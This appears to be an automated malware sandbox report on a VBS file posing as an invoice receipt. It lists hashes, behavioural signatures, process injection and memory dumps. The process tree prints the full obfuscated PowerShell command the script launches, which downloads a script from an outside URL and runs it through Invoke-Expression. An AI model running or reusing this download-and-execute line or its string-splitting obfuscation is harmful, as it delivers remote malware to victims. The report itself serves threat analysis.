a52cb2c09e66deb221d1db56e62b67138e5e3de516966481f789cd48dcacbe66

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-en-20211208
submitted
14-01-2022 16:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Y1K3875FX_INV0ICE_RECEIPT.vbs
Size

4KB
MD5

eabf87aa6e88a700b48fdc11fd56d034
SHA1

02aa868a130881a5dc409a7d06d943f7ae7f0654
SHA256

a52cb2c09e66deb221d1db56e62b67138e5e3de516966481f789cd48dcacbe66
SHA512

46042d15120eccc2e645a11495715f1804b2923105b698e8fcacf6111a36a3b29aa30e5416c47db83ee4d49bd80a9b7b28751a5b591d4223c01f08b9cc86493a

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

268 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 268 powershell.exe

pid	process
268	powershell.exe

description	pid	process
Token: SeDebugPrivilege	268	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 944 wrote to memory of 268	944	WScript.exe	powershell.exe
PID 944 wrote to memory of 268	944	WScript.exe	powershell.exe
PID 944 wrote to memory of 268	944	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Y1K3875FX_INV0ICE_RECEIPT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'HttP://swmen.com/vet/PS1NAIO.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:268

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/268-55-0x0000000000000000-mapping.dmp

Download
memory/268-57-0x000007FEF2E50000-0x000007FEF39AD000-memory.dmp

Filesize
11.4MB

Download
memory/268-60-0x0000000002334000-0x0000000002337000-memory.dmp

Filesize
12KB

Download
memory/268-59-0x0000000002332000-0x0000000002334000-memory.dmp

Filesize
8KB

Download
memory/268-58-0x0000000002330000-0x0000000002332000-memory.dmp

Filesize
8KB

Download
memory/268-61-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/268-62-0x000000000233B000-0x000000000235A000-memory.dmp

Filesize
124KB

Download
memory/944-54-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmp

Filesize
8KB

Download